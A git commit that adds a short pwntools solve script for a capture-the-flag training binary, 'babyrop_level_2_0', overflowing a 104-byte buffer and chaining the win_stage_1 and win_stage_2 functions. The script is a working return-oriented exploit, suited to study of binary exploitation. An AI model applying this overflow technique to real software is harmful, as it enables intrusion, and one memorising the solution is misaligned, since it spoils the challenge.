solve script

This commit is contained in:
jc
2025-08-05 18:18:16 +03:00
parent c675b28f26
commit 4af1604d90
+21
View File
@@ -0,0 +1,21 @@
#!/usr/bin/python3
from pwn import *
"""
patchelf --replace-needed libcapstone.so.5 /usr/lib/x86_64-linux-gnu/libcapstone.so.4 babyrop_level_2_0
"""
context.binary = target = ELF("./babyrop_level_2_0", checksec=False)
r = process()
# funcs
s = lambda a: r.sendline(a)
# buf
buf = b"A"*104
buf += p64(target.sym.win_stage_1)
buf += p64(target.sym.win_stage_2)
s(buf)
r.interactive()